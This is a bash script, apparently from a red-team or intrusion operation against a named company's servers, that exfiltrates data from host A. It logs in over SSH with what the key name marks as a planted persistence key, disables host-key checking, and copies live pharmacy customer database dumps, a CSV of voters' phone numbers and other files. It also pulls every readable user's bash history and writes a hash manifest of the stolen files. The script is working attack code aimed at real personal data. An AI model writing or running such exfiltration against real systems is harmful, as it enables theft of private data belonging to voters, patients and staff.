#!/bin/bash
# Home dirs exfil from host A — high-value files only
set -u
OUTDIR=/root/ir-assessment/redteam/gitlab_npontutechnologies_com/exfil_hostA_home
mkdir -p "$OUTDIR"

echo "=== HOME A EXFIL ==="

# evans: live SQL dumps (July 23 — earlier than our B dumps, comparison value)
echo "--- evans ---"
scp -i /root/.ssh/npontu_persist_20260817 -P 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no \
  pontian@65.109.51.221:/home/evans/tenant_topup_pharmacy_live.sql "$OUTDIR/" 2>&1 && echo "[OK] topup_live 1.2G" || echo "[FAIL] topup_live"
scp -i /root/.ssh/npontu_persist_20260817 -P 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no \
  pontian@65.109.51.221:/home/evans/tenant_lena_pharmacy.sql.gz "$OUTDIR/" 2>&1 && echo "[OK] lena" || echo "[FAIL] lena"
scp -i /root/.ssh/npontu_persist_20260817 -P 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no \
  pontian@65.109.51.221:/home/evans/tenant_express_care_pharmacy.sql.gz "$OUTDIR/" 2>&1 && echo "[OK] express" || echo "[FAIL] express"

# mylar: voters phone extract + bogticket + bdr scripts
echo "--- mylar ---"
scp -i /root/.ssh/npontu_persist_20260817 -P 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no \
  pontian@65.109.51.221:/home/mylar/all_voters_unique_phone_numbers.csv "$OUTDIR/" 2>&1 && echo "[OK] voters_phones 142M" || echo "[FAIL] voters_phones"
scp -i /root/.ssh/npontu_persist_20260817 -P 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no \
  pontian@65.109.51.221:/home/mylar/bogticket.sql "$OUTDIR/" 2>&1 && echo "[OK] bogticket" || echo "[FAIL] bogticket"
scp -i /root/.ssh/npontu_persist_20260817 -P 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no \
  pontian@65.109.51.221:/home/mylar/bdr.py "$OUTDIR/" 2>&1 && echo "[OK] bdr.py" || echo "[FAIL] bdr.py"

# bash histories (all readable users)
echo "--- bash histories ---"
for u in mylar pontian nosa evans aodoi jones; do
  ssh -i /root/.ssh/npontu_persist_20260817 -p 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no pontian@65.109.51.221 \
    "cat /home/$u/.bash_history 2>/dev/null" > "$OUTDIR/bash_history_$u.txt" 2>/dev/null
  [ -s "$OUTDIR/bash_history_$u.txt" ] && echo "[OK] history $u" || rm -f "$OUTDIR/bash_history_$u.txt"
done

echo "=== DONE ==="
ls -la "$OUTDIR"
sha256sum "$OUTDIR"/* > "$OUTDIR/MANIFEST.sha256" 2>/dev/null
echo "manifest: $(wc -l < "$OUTDIR/MANIFEST.sha256") files"